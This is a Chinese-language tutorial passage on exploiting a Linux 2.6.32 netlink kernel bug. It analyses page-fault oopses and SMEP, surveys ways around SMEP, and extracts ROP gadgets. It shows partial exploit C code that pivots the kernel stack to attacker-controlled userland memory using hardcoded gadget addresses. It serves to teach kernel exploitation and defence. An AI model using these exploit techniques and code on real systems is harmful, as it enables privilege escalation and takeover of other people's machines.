[ 124.963261] Oops: 0011 [#1] SMP
...
[ 124.966733] RIP: 0010:[<00000000004014c4>] [<00000000004014c4>] 0x4014c4
[ 124.966810] RSP: 0018:ffff88001b533e60 EFLAGS: 00010012
[ 124.966851] RAX: 0000000000602880 RBX: 0000000000602898 RCX: 0000000000000000
[ 124.966900] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000602880
[ 124.966948] RBP: ffff88001b533ea8 R08: 0000000000000000 R09: 00007f919c472700
[ 124.966995] R10: 00007ffd8d9393f0 R11: 0000000000000202 R12: 0000000000000001
[ 124.967043] R13: ffff88001bdf2ab8 R14: 0000000000000000 R15: 0000000000000000
[ 124.967090] FS: 00007f919cc3c700(0000) GS:ffff880003200000(0000) knlGS:0000000000000000
[ 124.967141] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 124.967186] CR2: 00000000004014c4 CR3: 000000001d01a000 CR4: 00000000001407f0
[ 124.967264] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 124.967334] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 124.967385] Process exploit (pid: 2447, threadinfo ffff88001b530000, task ffff88001b4cd280)
[ 124.968804] Stack:
[ 124.969510] ffffffff81061909 ffff88001b533e78 0000000100000001 ffff88001b533ee8
[ 124.969629] <d> ffff88001bdf2ab0 0000000000000286 0000000000000001 0000000000000001
[ 124.970492] <d> 0000000000000000 ffff88001b533ee8 ffffffff810665a8 0000000100000000
[ 124.972289] Call Trace:
[ 124.973034] [<ffffffff81061909>] ? __wake_up_common+0x59/0x90
[ 124.973898] [<ffffffff810665a8>] __wake_up+0x48/0x70
[ 124.975251] [<ffffffff814b81cc>] netlink_setsockopt+0x13c/0x1c0
[ 124.976069] [<ffffffff81475a2f>] sys_setsockopt+0x6f/0xc0
[ 124.976721] [<ffffffff8100b1a2>] system_call_fastpath+0x16/0x1b
[ 124.977382] Code: Bad RIP value.
[ 124.978107] RIP [<00000000004014c4>] 0x4014c4
[ 124.978770] RSP <ffff88001b533e60>
[ 124.979369] CR2: 00000000004014c4
[ 124.979994] Tainting kernel with flag 0x7
[ 124.980573] Pid: 2447, comm: exploit Not tainted 2.6.32
[ 124.981147] Call Trace:
[ 124.981720] [<ffffffff81083291>] ? add_taint+0x71/0x80
[ 124.982289] [<ffffffff81558dd4>] ? oops_end+0x54/0x100
[ 124.982904] [<ffffffff810527ab>] ? no_context+0xfb/0x260
[ 124.983375] [<ffffffff81052a25>] ? __bad_area_nosemaphore+0x115/0x1e0
[ 124.983994] [<ffffffff81052bbe>] ? bad_area_access_error+0x4e/0x60
[ 124.984445] [<ffffffff81053172>] ? __do_page_fault+0x282/0x500
[ 124.985055] [<ffffffff8106d432>] ? default_wake_function+0x12/0x20
[ 124.985476] [<ffffffff81061909>] ? __wake_up_common+0x59/0x90
[ 124.986020] [<ffffffff810665b3>] ? __wake_up+0x53/0x70
[ 124.986449] [<ffffffff8155adae>] ? do_page_fault+0x3e/0xa0
[ 124.986957] [<ffffffff81558055>] ? page_fault+0x25/0x30 // <------
[ 124.987366] [<ffffffff81061909>] ? __wake_up_common+0x59/0x90
[ 124.987892] [<ffffffff810665a8>] ? __wake_up+0x48/0x70
[ 124.988295] [<ffffffff814b81cc>] ? netlink_setsockopt+0x13c/0x1c0
[ 124.988781] [<ffffffff81475a2f>] ? sys_setsockopt+0x6f/0xc0
[ 124.989231] [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b
[ 124.990091] ---[ end trace 2c697770b8aa7d76 ]---
哎呀!我们可以看到在调用追踪中,他没有击中目标(步骤3失败了)!我们将会遇到相当多的这种问题。我么最好理解怎么去读他。
2-2 了解页错误追踪
绕过我们分析之前的调用流程。这样的问题来自于缺页异常。即,一个CPU尝试访问内存时自身的发生了异常(硬件)。
在“一般”情况下,cpu出现页错误在有以下情况:
- cpu尝试访问一个页目前没有在RAM中(合法访问)。
- 访问是不合法的:在只读页面写,在不可执行页面执行,地址不存在于内存区域(VMA)。
在cpu方面是一个例外这个问题,其实上在整一个程序的生命周期中很常见。举个例子,当你用mmap()申请内存,内核没有申请物理内存知道你第一次访问他。值叫做请求式分页。第一次访问就是页错误,而正式页面错误异常处理程序才实际上分配了一个页框架。这是为什么你可以申请到比实际物理RAM更多内存(直到你用它之前)。
下面的图展示了一个简化的页面错误异常处理程序:
就像我们看到的一样,如果一个在内核空间中的不合法访问发生,他会让内核crash。这是我们现在的情况。
[ 124.962677] BUG: unable to handle kernel paging request at 00000000004014c4
[ 124.962923] IP: [<00000000004014c4>] 0x4014c4
[ 124.963039] PGD 1e3df067 PUD 1abb6067 PMD 1b1e6067 PTE 111e3025
[ 124.963261] Oops: 0011 [#1] SMP
...
[ 124.979369] CR2: 00000000004014c4
前面的追踪提供了很多页面错误异常的原因。CR2寄存器(在这里和ip一样)保存了错误地址。
在我们的例子中,MMU(硬件)访问0x00000000004014c4 内存地址失败(payload()的地址)。因为ip也指向他,我们直到一个异常在尝试去执行__wake_up_common()中的curr->func()指令时出现。
首先,让我们关注错误代码,在我们的例子里时“0x11”。这个错误代码四一个64位值,其中可以设置/清除以下位:
// [arch/x86/mm/fault.c]
/*
* Page fault error code bits:
*
* bit 0 == 0: no page found 1: protection fault
* bit 1 == 0: read access 1: write access
* bit 2 == 0: kernel-mode access 1: user-mode access
* bit 3 == 1: use of reserved bit detected
* bit 4 == 1: fault was an instruction fetch
*/
enum x86_pf_error_code {
PF_PROT = 1 << 0,
PF_WRITE = 1 << 1,
PF_USER = 1 << 2,
PF_RSVD = 1 << 3,
PF_INSTR = 1 << 4,
};
即,我们的error_code是:
((PF_PROT | PF_INSTR) & ~PF_WRITE) & ~PF_USER
换句话说,页面发生错误:
- 因为一个保护性错误(PF_PROT设置了1)
- 在取指令期间(PF_INSTR设置了1)
- 意味着一个读取访问操作(PF_WRITE是0)
- 在内核中(PF_USER是0)
由于存在错地址所属的页面(PF_PROT设置了1),因此存在页面表项(PTE)。后者描述了两件事:
- Page Frame Number页框号(PFN)
- 页面标志例如访问权限,页面当前状况,用户/主管页面等
在我们的例子中,PTE的值是0x111e3025:
[ 124.963039] PGD 1e3df067 PUD 1abb6067 PMD 1b1e6067 PTE 111e3025
如果我们屏蔽掉该值的PFN部分,我们得到0b100101(0x25)。让我们写一个程序提取PTE标志位值的信息:
#include <stdio.h>
#define __PHYSICAL_MASK_SHIFT 46
#define __PHYSICAL_MASK ((1ULL << __PHYSICAL_MASK_SHIFT) - 1)
#define PAGE_SIZE 4096ULL
#define PAGE_MASK (~(PAGE_SIZE - 1))
#define PHYSICAL_PAGE_MASK (((signed long)PAGE_MASK) & __PHYSICAL_MASK)
#define PTE_FLAGS_MASK (~PHYSICAL_PAGE_MASK)
int main(void)
{
unsigned long long pte = 0x111e3025;
unsigned long long pte_flags = pte & PTE_FLAGS_MASK;
printf("PTE_FLAGS_MASK = 0x%llx\n", PTE_FLAGS_MASK);
printf("pte = 0x%llx\n", pte);
printf("pte_flags = 0x%llx\n\n", pte_flags);
printf("present = %d\n", !!(pte_flags & (1 << 0)));
printf("writable = %d\n", !!(pte_flags & (1 << 1)));
printf("user = %d\n", !!(pte_flags & (1 << 2)));
printf("acccessed = %d\n", !!(pte_flags & (1 << 5)));
printf("NX = %d\n", !!(pte_flags & (1ULL << 63)));
return 0;
}
NOTE:如果你想要直到这些变量怎么来的,搜索PTE_FLAGS_MASK和 _PAGE_BIT_USER宏在arch/x86/include/asm/pgtable_types.h,他是匹配的intel文档(Table 4-19)
这个问题给了:
PTE_FLAGS_MASK = 0xffffc00000000fff
pte = 0x111e3025
pte_flags = 0x25
present = 1
writable = 0
user = 1
acccessed = 1
NX = 0
让我们匹配这些信息和上面的错误代码:
- 内核访问的页面已经存在了,所以错误发生在存取权的问题
- 我们没有尝试向一个只读的页面写东西
- NX位没有被设置,页面可执行
- 页面是用户可达的,意味着内核也可以访问。
所以,哪里出错了?
在先前的列表中,第4点是部分正确的。内核有权访问用户空间的页面,但是他不能执行他!原因是:
Supervisor Mode Execution Prevention (SMEP)
在介绍SMEP之前,内核有权在用户空间做任何事情。在主管模式下(即内核模式),内核时允许区域做所有读/写/执行用户空间和内核页。这不再正确了!
SMEP自intel的“Ivy Bridge”微架构后就一致存在(core i7, core i5等),linux内核支持他,从这个补丁(链接。。。)之后。他增加了一个在硬件强制执行的安全机制。
让我们看一下 Intel System Programming Guide Volume 3a 的
“4.6.1 - Determination of Access Rights”节,他给了检查是否进入一个内存地址的完整执行顺序。如果不,一个页错误异常产生。
自从setsockopt()系统调用发生错误,我们一致在管理者模式:
The following items detail how paging determines access rights:
• For supervisor-mode accesses:
... cut ...
— Instruction fetches from user-mode addresses.
Access rights depend on the values of CR4.SMEP:
• If CR4.SMEP = 0, access rights depend on the paging mode and the value of IA32_EFER.NXE:
... cut ...
• If CR4.SMEP = 1, instructions may not be fetched from any user-mode address.
让我们来检查一下CR4寄存器。其中的第20位代表着SMEP的状态:
在linux,下面的宏被使用:
// [arch/x86/include/asm/processor-flags.h]
#define X86_CR4_SMEP 0x00100000 /* enable SMEP support */
因此:
CR4 = 0x00000000001407f0
^
+------ SMEP is enabled
这就是他了,SMEP只是在做他的工作,阻止我们从内核空间返回用户空间。
幸运的时,SMEP(Supervisor Mode Access Protection),禁止我们在内核模式下访问用户页面的家伙,是禁用的。这迫使我们使用另一种攻击策略(注:不能在用户空间布置等待队列)。
WARNING:一些虚拟化软件(像虚拟机)不支持SMEP。我们不知道在写这篇文章的时候是不是支持的。如果SMEP标志位在你的环境不被允许执行,你可以思考用其他虚拟化软件(提示:vmware 支持他)。
在这一节中,我们深度分析了一个页面错误可以被提取出的信息。我们以后可能会反复探求他(注:prefaulting预故障),所以这个很重要。作为补充我们了解了为什么这个异常产生,因为SMEP,如何去检测他。不要担心,像任何安全保护机制一样,这有个解决方法:-)。
3.绕过SMEP的方法
在前一节中,我们尝试去跳转到用户空间,去执行我们选择的payload(任意代码执行)。不幸的是,我们被SMEP阻止了,SMEP引起了一个不可修复的页错误导致内核crash。
在这一节,我们将会提供不同的战略来绕过SMEP。
3-1 不要re2user
最明显的绕过方法就是不返回到用户空间,保持在内核执行。
然而,在内核找到一个简单的函数是不大可能的:
- 提升我们的权限或者其他利益。
- 修复内核
- 返回一个不为0的值(bug所必须的条件)
注意在当前的exp里,我们不限于找一个“单一的函数”。原因是当在用户空间时,我们就可以控制func段。我们在这儿能做上面,调用一个内核函数,修改func和调用其他函数。但是无论如何,这儿有两个问题:
- 我们没有调用函数的返回值
- 我们不能直接控制调用函数的参数
这儿有一些技巧可以利用这种方法任意调用,因此不需要任何的ROP,允许一个“无目标”的exp。这儿有一个题外话,我们想要提供一种“常见”的方法来使用任意调用。
就像用户空间exp,我们可以使用返回式导向编程的方法。问题是:写一个复杂的ROP-chain会很复杂(仍然可以自动化)。不管怎么样,这是可行的。这导致我们。。。
3-2 禁用SMEP
就如同我们在之前几节可以看到的一样,SMEP(CR4.SMEP)的状态是在一个内存访问的时候检查。具体的说,当CPU在内核(管理者)状态下收到一条关于用户空间的指令。如果我们能够在CR4中翻转这个位,我们就能继续ret2user。
那是我们将会在exp中做的事情。首先我们用ROP来禁用SMEP,然后跳转到用户空间执行代码。这将允许我们去用c语言写payload。
3-3 ret2dir
ret2dir攻击利用了一个事实,每个用户页有一个等效地址在内核空间(叫做“synonyms”)。这个synonyms是位于physmap。phymap是一个直接映射了所有的物理内存。phymap的实际地址是0xffff880000000000,这个地址也映射了页框号(PFN)的第0号(0xffff880000001000是页框号为1)。“physmap”这个术语好像是和ret2dir攻击一起出现的,一些人把他叫做“linear mapping”(线性映射)。
哎,如今要完成他很难,因为/proc//pagemap不是全部可读了。他允许去找到用户空间页的PFN,由此来在phymap找到物理地址.
可以通过查找pagemap文件并在offset位置读取8字节的值来检索用户地址uaddr的PFN。
PFN(uaddr) = (uaddr/4096) * sizeof(void*)
如果你想要直到更多关于这个攻击,看https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf
3-4 覆盖分页结构条目
让我们再看看the Intel documentation中的Determination of Access Rights (4.6.1)节,我们可以得到:
Access rights are also controlled by the mode of a linear address as specified by
the paging-structure entries controlling the translation of the linear address.
If the U/S flag (bit 2) is 0 in at least one of the paging-structure entries, the
address is a supervisor-mode address. Otherwise, the address is a user-mode address.
我们想要访问的地址自从U/S标志位被设置后就被认作了用户模式地址。
一个去绕过SMEP的方法就是去重写至少一页的分页结构条目,清除第2位(假装我们的的用户地址是内核地址,绕过SMEP)。他暗示了我们PGD/PUD/PMD/PTE是位于内存的。这种攻击方式用任意读/写很容易做。
4.发现gadgets
再内核中找到一个gadget是和用户空间类似的。首先我们需要vmlinux的二进制文件,System.map文件(我们在part3提取的)是可选的。因为vmlinux是一个elf的二进制文件,我们可以使用ROPgadget.
无论如何,vmlinux不是一个标准的ELF二进制文件。他嵌入了特殊的节。如果你用readelf看到了很多节,你可以看到这儿有很多:
$ readelf -l vmlinux-2.6.32
Elf file type is EXEC (Executable file)
Entry point 0x1000000
There are 6 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000200000 0xffffffff81000000 0x0000000001000000
0x0000000000884000 0x0000000000884000 R E 200000
LOAD 0x0000000000c00000 0xffffffff81a00000 0x0000000001a00000
0x0000000000225bd0 0x0000000000225bd0 RWE 200000
LOAD 0x0000000001000000 0xffffffffff600000 0x0000000001c26000
0x00000000000008d8 0x00000000000008d8 R E 200000
LOAD 0x0000000001200000 0x0000000000000000 0x0000000001c27000
0x000000000001ff58 0x000000000001ff58 RW 200000
LOAD 0x0000000001247000 0xffffffff81c47000 0x0000000001c47000
0x0000000000144000 0x0000000000835000 RWE 200000
NOTE 0x0000000000760f14 0xffffffff81560f14 0x0000000001560f14
0x000000000000017c 0x000000000000017c 4
Section to Segment mapping:
Segment Sections...
00 .text .notes __ex_table .rodata __bug_table .pci_fixup __ksymtab __ksymtab_gpl __kcrctab __kcrctab_gpl __ksymtab_strings __init_rodata __param __modver
01 .data
02 .vsyscall_0 .vsyscall_fn .vsyscall_gtod_data .vsyscall_1 .vsyscall_2 .vgetcpu_mode .jiffies .fence_wdog_jiffies64
03 .data.percpu
04 .init.text .init.data .x86_cpu_dev.init .parainstructions .altinstructions .altinstr_replacement .exit.text .smp_locks .data_nosave .bss .brk
05 .notes
特别的,他有.init.text节,这个节看起来是可执行的(加上-t 参数):
[25] .init.text
PROGBITS PROGBITS ffffffff81c47000 0000000001247000 0
000000000004904a 0000000000000000 0 16
[0000000000000006]: ALLOC, EXEC
本节介绍值在引导过程使用的代码。这节的代码可以被__init预处理宏定义:
#define __init __section(.init.text) __cold notrace
例如:
// [mm/slab.c]
/*
* Initialisation. Called after the page allocator have been initialised and
* before smp_init().
*/
void __init kmem_cache_init(void)
{
// ... cut ...
}
当初始化阶段结束,这些代码会不再映射在内存中。换句话说,在内核空间使用一个属于这个节的gadget将会导致一个页错误,导致内核crash(注:先前的节)。
正因为这个(其他特殊的可执行节有其他的陷阱),我们将会
避开在这些“特殊的节”搜索gadgets。把搜索限制在“.text”节。开始和结束地址会在_text 和_etext标志处找到:
$ egrep " _text$| _etext$" System.map-2.6.32
ffffffff81000000 T _text
ffffffff81560f11 T _etext
或者用readelf (-t 参数):
[ 1] .text
PROGBITS PROGBITS ffffffff81000000 0000000000200000 0
0000000000560f11 0000000000000000 0 4096
[0000000000000006]: ALLOC, EXEC
让我们提取所有的gadgets用:
$ ./ROPgadget.py --binary vmlinux-2.6.32 --range 0xfffffff81000000-0xffffffff81560f11 | sort > gadget.lst
WARNING:gadgets来自[_text; _etext],但是由于种种原因不能保证在执行期间是完全有效的。你在执行ROP-chain之前应该检查内存(注:看用gdb调试内核)。
好了,我们准备好去ROP了。
5.stack pivoting
注:stack pivoting 是指劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。栈指针迁移。
在之前的节,我们看到:
在跳转到用户空间时因为SMEP导致内核crash(页错误)
SMEP可以用翻转CR4的一个位来禁用。
我们只可以用 .text节的gadget,用ROPchain来提取他们。
在“part4核心概念”节,我们看到当执行一个系统调用,内核栈(rsp)指向当前的内核线程栈。在这节中,我们将会使用我们的任意调用命令来迁移栈到用户空间。这么做会让我们去控制一个假的栈来执行我们选的rop-chain。
5-1 分析攻击者控制的数据
__wake_up_common()函数在part3中被深度分析了,作为提示,代码是:
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, int wake_flags, void *key)
{
wait_queue_t *curr, *next;
list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
unsigned flags = curr->flags;
if (curr->func(curr, mode, wake_flags, key) &&
(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
break;
}
}
调用方式(我们早就用再分配完全控制了nlk):
__wake_up_common(&nlk->wait, TASK_INTERRUPTIBLE, 1, 0, NULL)
特别的,我们任意调用时在这儿被请求的:
ffffffff810618f7: 44 8b 20 mov r12d,DWORD PTR [rax] // "flags = curr->flags"
ffffffff810618fa: 4c 89 f1 mov rcx,r14 // 4th arg: "key"
ffffffff810618fd: 44 89 fa mov edx,r15d // 3nd arg: "wake_flags"
ffffffff81061900: 8b 75 cc mov esi,DWORD PTR [rbp-0x34] // 2nd arg: "mode"
ffffffff81061903: 48 89 c7 mov rdi,rax // 1st arg: "curr"
ffffffff81061906: ff 50 10 call QWORD PTR [rax+0x10] // ARBITRARY CALL PRIMITIVE
让我们重新启动exp:
...
[+] g_uland_wq_elt addr = 0x602860
[+] g_uland_wq_elt.func = 0x4014c4
...
崩溃时,寄存器状态是:
[ 453.993810] RIP: 0010:[<00000000004014c4>] [<00000000004014c4>] 0x4014c4
^ &payload()
[ 453.993932] RSP: 0018:ffff88001b527e60 EFLAGS: 00010016
^ kernel thread stack top
[ 453.994003] RAX: 0000000000602860 RBX: 0000000000602878 RCX: 0000000000000000
^ curr ^ &task_list.next ^ "key" arg
[ 453.994086] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000602860
^ "wake_flags" arg ^ "mode" arg ^ curr
[ 453.994199] RBP: ffff88001b527ea8 R08: 0000000000000000 R09: 00007fc0fa180700
^ thread stack base ^ "key" arg ^ ???
[ 453.994275] R10: 00007fffa3c8b860 R11: 0000000000000202 R12: 0000000000000001
^ ??? ^ ??? ^ curr->flags
[ 453.994356] R13: ffff88001bdde6b8 R14: 0000000000000000 R15: 0000000000000000
^ nlk->wq [REALLOC] ^ "key" arg ^ "wake_flags" arg
Wow。。。他看起来我们真的很幸运!rax,rbx和rdi都指向我们的用户空间等待队列元素。当然这不是巧合。这是我们选择任意调用操作在第一个地方的另一个原因。
5-2 The Pivot
注意栈仅由rsp寄存器定义。让我们使用一个我们控制的集群其去重写他。一个通常的gadget通常是这种情况:
xchg rsp, rXX ; ret
他交换了rsp寄存器和我们控制寄存器的值,同时保存他。因此,他之后能帮助修复栈指针。
NOTE:你可以使用一个mov的gadget替代,但是你将会丢失现在的栈指针值,因此后面不能够去修复栈指针。这不是完全正确的。。。你可以使用RBP或者kernel_stack变量来修复他(注:part4的核心概念),也可以增加一个固定偏移量,那么栈的布局是确定已知的。xchg指令只是把这些简化了。
$ egrep "xchg [^;]*, rsp|xchg rsp, " ranged_gadget.lst.sorted
0xffffffff8144ec62 : xchg rsi, rsp ; dec ecx ; cdqe ; ret
看起来我们只有一个gadget做了这个,在我们的内核映像中,作为补充,rsi的值是0x0000000000000001(而且我们无法控制他)。这意味着把页面映射在完全不可能到达的地址0处,来防止我们的exp出现没有返回的bug。
让我们把研究扩展到exp寄存器,这带来更多的结果。
$ egrep "(: xchg [^;]*, esp|: xchg esp, ).*ret$" ranged_gadget.lst.sorted
...
0xffffffff8107b6b8 : xchg eax, esp ; ret
...
无论如何,xchg指令在这儿工作在32位寄存器。即,最重要的32位会置0。
如果你不信,只要跑下面的程序:
# Build-and-debug with: as test.S -o test.o; ld test.o; gdb ./a.out
.text
.global _start
_start:
mov $0x1aabbccdd, %rax
mov $0xffff8000deadbeef, %rbx
xchg %eax, %ebx # <---- check "rax" and "rbx" past this instruction (gdb)
即,在执行stack pivot(栈翻转)指针时,64位寄存器变成了:
rax = 0xffff88001b527e60 & 0x00000000ffffffff = 0x000000001b527e60
rsp = 0x0000000000602860 & 0x00000000ffffffff = 0x0000000000602860
这实际上不是一个问题,因为用户空间的实际地址映射范围时在0x0到0x00007ffffffff000之间(注:part4核心内容)。换句话说,任何0x00000000XXXXXXXX地址是有效的用户空间地址。
栈现在实在执行用户空间了,所以我们可以控制数据和开始我们的ROP-chain。寄存器状态在执行栈指针gadget之前和之后是:
ERRATA:rsp会指向RDI之后的8位,因为ret指令在执行前会“pop”一个值(注:应该指向private)。请看下一节。
NOTE:rax指向“任意”的一个用户空间,因为他只有之前rsp的最低有效字节的值。(结束xchg只把rsp的低8位和rax的低8位交换了)
5-3 处理混淆
在继续下去前,这儿有一些问题要思考:
一个新的伪造栈和等待队列在用户空间混淆了
因为32位高有效位是0,伪造栈必须被映射到地址低于 0x100000000
现在,g_uland_wq_elt在全局被定义(注:bss字段)。他的地址是低于0x10000000的“0x602860”。
混淆为什么会是一个问题:
- 强制我们使用栈抬升(stack lifting)gadget去跳转到func的gadget(注:不要再次执行stack pivot(栈翻转)gadget)。
- 对gadgets增加了约束,即等待队列的元素必须是有效的(在__wake_up_common())。
这儿有两种方法去解决混淆问题:
- 保持伪造栈,然后使用强制性的gadget进行栈提升
- 把g_uland_wq_elt移动到“高”内存(在0x100000000 标志后)。
两种方法都可行。
举个例子,如果你想要去实施第一种方法(我们不会),下一个gadget的地址必须有他的最低有效位设置,因为__wake_up_common()中的中断条件:
(flags & WQ_FLAG_EXCLUSIVE) // WQ_FLAG_EXCLUSIVE == 1
在特定的例子中,第一个条件可以被NOP填充gadget来简单客服,这会让他的最低有效位设置:
0xffffffff8100ae3d : nop ; nop ; nop ; ret // <---- valid gadget
0xffffffff8100ae3e : nop ; nop ; ret // <---- BAD GADGET
相反的,我们会实现第二种方法,因为我们认为他更有趣,很少的gadget依赖,显示了一种有时在漏洞利用时用到的技术(彼此有相对地址)。作为补充,如果混淆的约束更小,我们将会有更多的ROP-chain选择。
为了在任意位置声明我们的(用户区)等待队列。我们会使用mmap() 这个系统调用和MAX_FIXED参数。我们将对假堆栈做相同的操作。都是和下面的属性链接:
ULAND_WQ_ADDR = FAKE_STACK_ADDR + 0x100000000
换句话说:
(ULAND_WQ_ADDR & 0xffffffff) == FAKE_STACK_ADDR
^ pointed by RAX before XCHG ^ pointed by RSP after XCHG
这个在 allocate_uland_structs()种执行:
static int allocate_uland_structs(void)
{
// arbitrary value, must not collide with already mapped memory (/proc/<PID>/maps)
void *starting_addr = (void*) 0x20000000;
// ... cut ...
g_fake_stack = (char*) _mmap(starting_addr, 4096, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0);
// ... cut ...
g_uland_wq_elt = (struct wait_queue*) _mmap(g_fake_stack + 0x100000000, 4096, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0);
// ... cut ...
}
WARING:使用MAP_FIXED 或许会和现在的内存重叠!为了更好的操作,我们应该检查starting_addr 地址没有被使用(检查 /proc//maps)!看mmap()系统调用执行,你将会学到很多,这是一个好的锻炼。
注:/proc//maps见https://www.cnblogs.com/arnoldlu/p/10272466.html
即在执行“栈迁移gadget”之后,我们呢的exp内存结构将会是:
让我们更新exp代码(注意:g_uland_wq_elt 现在是一个指针了,所以修改代码)。
// 'volatile' forces GCC to not mess up with those variables
static volatile struct list_head g_fake_next_elt;
static volatile struct wait_queue *g_uland_wq_elt;
static volatile char *g_fake_stack;
// kernel functions addresses
#define PANIC_ADDR ((void*) 0xffffffff81553684)
// kernel gadgets in [_text; _etext]
#define XCHG_EAX_ESP_ADDR ((void*) 0xffffffff8107b6b8)
static int payload(void);
// ----------------------------------------------------------------------------
static void build_rop_chain(uint64_t *stack)
{
memset((void*)stack, 0xaa, 4096);
*stack++ = 0;
*stack++ = 0xbbbbbbbbbbbbbbbb;
*stack++ = 0xcccccccccccccccc;
*stack++ = 0xdddddddddddddddd;
// FIXME: implement the ROP-chain
}
// ----------------------------------------------------------------------------
static int allocate_uland_structs(void)
{
// arbitrary value, must not collide with already mapped memory (/proc/<PID>/maps)
void *starting_addr = (void*) 0x20000000;
size_t max_try = 10;
retry:
if (max_try-- <= 0)
{
printf("[-] failed to allocate structures at fixed location\n");
return -1;
}
starting_addr += 4096;
g_fake_stack = (char*) _mmap(starting_addr, 4096, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0);
if (g_fake_stack == MAP_FAILED)
{
perror("[-] mmap");
goto retry;
}
g_uland_wq_elt = (struct wait_queue*) _mmap(g_fake_stack + 0x100000000, 4096, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0);
if (g_uland_wq_elt == MAP_FAILED)
{
perror("[-] mmap");
munmap((void*)g_fake_stack, 4096);
goto retry;
}
// paranoid check
if ((char*)g_uland_wq_elt != ((char*)g_fake_stack + 0x100000000))
{
munmap((void*)g_fake_stack, 4096);
munmap((void*)g_uland_wq_elt, 4096);
goto retry;
}
printf("[+] userland structures allocated:\n");
printf("[+] g_uland_wq_elt = %p\n", g_uland_wq_elt);
printf("[+] g_fake_stack = %p\n", g_fake_stack);
return 0;
}
// ----------------------------------------------------------------------------
static int init_realloc_data(void)
{
// ... cut ...
nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt->task_list;
nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt->task_list;
// ... cut ...
g_uland_wq_elt->func = (wait_queue_func_t) XCHG_EAX_ESP_ADDR; // <----- STACK PIVOT!
// ... cut ...
}
// ----------------------------------------------------------------------------
int main(void)
{
// ... cut ...
printf("[+] successfully migrated to CPU#0\n");
if (allocate_uland_structs())
{
printf("[-] failed to allocate userland structures!\n");
goto fail;
}
build_rop_chain((uint64_t*)g_fake_stack);
printf("[+] ROP-chain ready\n");
// ... cut ...
}
你可能会注意到 build_rop_chain(),我们设置一个暂时的ROP-chain,只为了调试。第一个gadget地址是0x00000000会触发一个双重错误。
让我们运行exp:
...
[+] userland structures allocated:
[+] g_uland_wq_elt = 0x120001000
[+] g_fake_stack = 0x20001000
[+] g_uland_wq_elt.func = 0xffffffff8107b6b8
...
[ 79.094437] double fault: 0000 [#1] SMP
[ 79.094738] CPU 0
...
[ 79.097909] RIP: 0010:[<0000000000000000>] [<(null)>] (null)
[ 79.097980] RSP: 0018:0000000020001008 EFLAGS: 00010012
[ 79.098024] RAX: 000000001c123e60 RBX: 0000000000602c08 RCX: 0000000000000000
[ 79.098074] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000120001000
[ 79.098124] RBP: ffff88001c123ea8 R08: 0000000000000000 R09: 00007fa46644f700
[ 79.098174] R10: 00007fffd73a4350 R11: 0000000000000206 R12: 0000000000000001
[ 79.098225] R13: ffff88001c999eb8 R14: 0000000000000000 R15: 0000000000000000
...
[ 79.098907] Stack:
[ 79.098954] bbbbbbbbbbbbbbbb cccccccccccccccc dddddddddddddddd aaaaaaaaaaaaaaaa
[ 79.099209] <d> aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa
[ 79.100516] <d> aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa
[ 79.102583] Call Trace:
[ 79.103844] Code: Bad RIP value.
[ 79.104686] RIP [<(null)>] (null)
[ 79.105332] RSP <0000000020001008>
...
完美,果不其然!rsp是指像我们伪造栈中的ROP-chain即第二个gadget。他的双重错误是在尝试执行第一个时发现地址指向0x0。(rip=0x0)。
记住,ret指令会先“pop”一个值到rip,然后执行他。这是为什么,rsp指向了第二个gadget。(不是第一个)
我们现在准备号其写真的ROP-chain了!
NOTE:强制触发一个双重错误是一个好方法来调试一个ROP-chain。因为他让内核crash并且抛弃所有的寄存器和栈。这是可怜人的“断点”。
6.用gdb调试内核
调试一个内核(没有SystemTap)对于一个新手来说可能时一个吓人的事情。在之前的文章中,我们已经看过不同的方法区调试内核:
- SystemTap
- netconsole(网络控制台)
无论如何,你有时想要去调试更低层次的东西,一步一步的走。
就像其他二进制文件(在linux中就是ELF),你会使用GDB去调试他。
大多数的虚拟化解决方案设置一个gdb server,你可以连接并且调试一个“guest”系统。举个例子,当跑一个64位的内核时,vmware设置了一个gdbserver在端口“8864”。如果不是,请阅读说明。
因为无序的/并发的内核特性,你可能想要去把调试时的CPU限制在一个上。
让我们假设我们想要调试任意调用指令。在call前面下一个断点好像很有诱惑力(注:“call [rax+0x10]”)。。。不要!原因是,大量的内核路径(包括中断处理)调用了这个代码。即,你将会停止所有的而不是你自己的路径。
小技巧是设置断点更早一点(调用堆栈)在一个“不太使用的”又在你的bug/exp很特殊的路径。在我们的例子中,我们将会断在
netlink_setsockopt(),就在 __wake_up()调用之前(位于地址0xffffffff814b81c7):
$ gdb ./vmlinux-2.6.32 -ex "set architecture i386:x86-64" -ex "target remote:8864" -ex "b * 0xffffffff814b81c7" -ex "continue"
